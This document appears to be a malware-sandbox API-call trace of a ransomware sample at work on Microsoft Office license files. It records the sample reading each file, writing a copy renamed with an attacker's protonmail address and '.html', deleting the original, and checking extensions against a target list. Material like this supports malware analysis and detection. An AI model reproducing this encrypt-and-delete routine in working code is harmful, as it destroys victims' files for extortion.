	[0200.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0200.075] GetLastError () returned 0x0
	[0200.075] ReadFile (in: hFile=0x514, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x67ad, lpOverlapped=0x0) returned 1
	[0200.077] WriteFile (in: hFile=0x554, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x67b0, lpOverlapped=0x0) returned 1
	[0200.079] ReadFile (in: hFile=0x514, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.079] WriteFile (in: hFile=0x554, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x120, lpOverlapped=0x0) returned 1
	[0200.079] SetEndOfFile (hFile=0x554) returned 1
	[0200.079] CloseHandle (hObject=0x554) returned 1
	[0200.079] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.079] SetEndOfFile (hFile=0x514) returned 1
	[0200.082] CloseHandle (hObject=0x514) returned 1
	[0200.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms")) returned 1
	[0200.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0200.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0200.084] lstrlenW (lpString=".doc") returned 4
	[0200.084] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.084] lstrlenW (lpString=".docx") returned 5
	[0200.084] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.084] lstrlenW (lpString=".pdf") returned 4
	[0200.084] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.084] lstrlenW (lpString=".xls") returned 4
	[0200.084] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.084] lstrlenW (lpString=".xlsx") returned 5
	[0200.084] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.084] lstrlenW (lpString=".ppt") returned 4
	[0200.085] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0200.085] lstrlenW (lpString=".zip") returned 4
	[0200.085] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.085] lstrlenW (lpString=".rar") returned 4
	[0200.085] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.085] lstrlenW (lpString=".bz2") returned 4
	[0200.085] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.085] lstrlenW (lpString=".7z") returned 3
	[0200.085] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0200.085] lstrlenW (lpString=".dbf") returned 4
	[0200.085] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0200.085] lstrlenW (lpString=".1cd") returned 4
	[0200.085] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0200.085] lstrlenW (lpString=".jpg") returned 4
	[0200.085] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0200.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0200.085] lstrlenW (lpString=".doc") returned 4
	[0200.085] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.085] lstrlenW (lpString=".docx") returned 5
	[0200.085] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.085] lstrlenW (lpString=".pdf") returned 4
	[0200.085] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.085] lstrlenW (lpString=".xls") returned 4
	[0200.085] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.086] lstrlenW (lpString=".xlsx") returned 5
	[0200.086] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.086] lstrlenW (lpString=".ppt") returned 4
	[0200.086] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0200.086] lstrlenW (lpString=".zip") returned 4
	[0200.086] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.086] lstrlenW (lpString=".rar") returned 4
	[0200.086] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.086] lstrlenW (lpString=".bz2") returned 4
	[0200.086] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.086] lstrlenW (lpString=".7z") returned 3
	[0200.086] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0200.086] lstrlenW (lpString=".dbf") returned 4
	[0200.086] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0200.086] lstrlenW (lpString=".1cd") returned 4
	[0200.086] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0200.086] lstrlenW (lpString=".jpg") returned 4
	[0200.086] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.086] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.086] lstrlenW (lpString="O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 41
	[0200.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4fc
	[0200.449] GetFileSizeEx (in: hFile=0x4fc, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11651) returned 1
	[0200.450] CloseHandle (hObject=0x4fc) returned 1
	[0200.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms")) returned 0x220
	[0200.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0200.564] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.564] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0200.566] GetLastError () returned 0x0
	[0200.566] ReadFile (in: hFile=0x368, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x2d83, lpOverlapped=0x0) returned 1
	[0200.586] WriteFile (in: hFile=0x460, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2d90, lpOverlapped=0x0) returned 1
	[0200.587] ReadFile (in: hFile=0x368, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.588] WriteFile (in: hFile=0x460, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x126, lpOverlapped=0x0) returned 1
	[0200.588] SetEndOfFile (hFile=0x460) returned 1
	[0200.588] CloseHandle (hObject=0x460) returned 1
	[0200.588] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.588] SetEndOfFile (hFile=0x368) returned 1
	[0200.591] CloseHandle (hObject=0x368) returned 1
	[0200.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.591] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms")) returned 1
	[0200.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0200.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0200.593] lstrlenW (lpString=".doc") returned 4
	[0200.593] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.593] lstrlenW (lpString=".docx") returned 5
	[0200.593] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.593] lstrlenW (lpString=".pdf") returned 4
	[0200.593] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.593] lstrlenW (lpString=".xls") returned 4
	[0200.593] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.593] lstrlenW (lpString=".xlsx") returned 5
	[0200.593] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.593] lstrlenW (lpString=".ppt") returned 4
	[0200.593] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0200.593] lstrlenW (lpString=".zip") returned 4
	[0200.593] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.593] lstrlenW (lpString=".rar") returned 4
	[0200.593] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.593] lstrlenW (lpString=".bz2") returned 4
	[0200.593] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.593] lstrlenW (lpString=".7z") returned 3
	[0200.593] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0200.593] lstrlenW (lpString=".dbf") returned 4
	[0200.593] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0200.593] lstrlenW (lpString=".1cd") returned 4
	[0200.593] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0200.593] lstrlenW (lpString=".jpg") returned 4
	[0200.593] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0200.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0200.594] lstrlenW (lpString=".doc") returned 4
	[0200.594] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.594] lstrlenW (lpString=".docx") returned 5
	[0200.594] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.594] lstrlenW (lpString=".pdf") returned 4
	[0200.594] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.594] lstrlenW (lpString=".xls") returned 4
	[0200.594] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.594] lstrlenW (lpString=".xlsx") returned 5
	[0200.594] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.594] lstrlenW (lpString=".ppt") returned 4
	[0200.594] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0200.594] lstrlenW (lpString=".zip") returned 4
	[0200.594] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.594] lstrlenW (lpString=".rar") returned 4
	[0200.594] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.594] lstrlenW (lpString=".bz2") returned 4
	[0200.594] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.594] lstrlenW (lpString=".7z") returned 3
	[0200.594] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0200.594] lstrlenW (lpString=".dbf") returned 4
	[0200.594] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0200.594] lstrlenW (lpString=".1cd") returned 4
	[0200.594] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91
	[0200.595] lstrlenW (lpString=".jpg") returned 4
	[0200.595] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.595] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.595] lstrlenW (lpString="O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 41
	[0200.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0200.596] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11651) returned 1
	[0200.596] CloseHandle (hObject=0x368) returned 1
	[0200.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms")) returned 0x220
	[0200.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0200.596] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.596] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0200.597] GetLastError () returned 0x0
	[0200.597] ReadFile (in: hFile=0x368, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x2d83, lpOverlapped=0x0) returned 1
	[0200.619] WriteFile (in: hFile=0x460, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2d90, lpOverlapped=0x0) returned 1
	[0200.621] ReadFile (in: hFile=0x368, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.621] WriteFile (in: hFile=0x460, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x126, lpOverlapped=0x0) returned 1
	[0200.621] SetEndOfFile (hFile=0x460) returned 1
	[0200.629] CloseHandle (hObject=0x460) returned 1
	[0200.632] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.632] SetEndOfFile (hFile=0x368) returned 1
	[0200.650] CloseHandle (hObject=0x368) returned 1
	[0200.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.664] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms")) returned 1
	[0200.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0200.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0200.915] lstrlenW (lpString=".doc") returned 4
	[0200.915] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.915] lstrlenW (lpString=".docx") returned 5
	[0200.915] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.915] lstrlenW (lpString=".pdf") returned 4
	[0200.915] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.915] lstrlenW (lpString=".xls") returned 4
	[0200.915] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.915] lstrlenW (lpString=".xlsx") returned 5
	[0200.915] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.915] lstrlenW (lpString=".ppt") returned 4
	[0200.915] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0200.915] lstrlenW (lpString=".zip") returned 4
	[0200.915] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.915] lstrlenW (lpString=".rar") returned 4
	[0200.915] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.915] lstrlenW (lpString=".bz2") returned 4
	[0200.916] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.916] lstrlenW (lpString=".7z") returned 3
	[0200.916] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0200.916] lstrlenW (lpString=".dbf") returned 4
	[0200.916] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0200.916] lstrlenW (lpString=".1cd") returned 4
	[0200.916] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0200.916] lstrlenW (lpString=".jpg") returned 4
	[0200.916] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0200.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0200.916] lstrlenW (lpString=".doc") returned 4
	[0200.916] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.916] lstrlenW (lpString=".docx") returned 5
	[0200.916] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.916] lstrlenW (lpString=".pdf") returned 4
	[0200.916] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.916] lstrlenW (lpString=".xls") returned 4
	[0200.916] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.916] lstrlenW (lpString=".xlsx") returned 5
	[0200.916] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.916] lstrlenW (lpString=".ppt") returned 4
	[0200.916] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0200.916] lstrlenW (lpString=".zip") returned 4
	[0200.916] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.916] lstrlenW (lpString=".rar") returned 4
	[0200.917] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.917] lstrlenW (lpString=".bz2") returned 4
	[0200.917] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.917] lstrlenW (lpString=".7z") returned 3
	[0200.917] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0200.917] lstrlenW (lpString=".dbf") returned 4
	[0200.917] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0200.917] lstrlenW (lpString=".1cd") returned 4
	[0200.917] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91
	[0200.917] lstrlenW (lpString=".jpg") returned 4
	[0200.917] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.917] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.917] lstrlenW (lpString="O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 36
	[0200.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0200.918] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11630) returned 1
	[0200.918] CloseHandle (hObject=0x580) returned 1
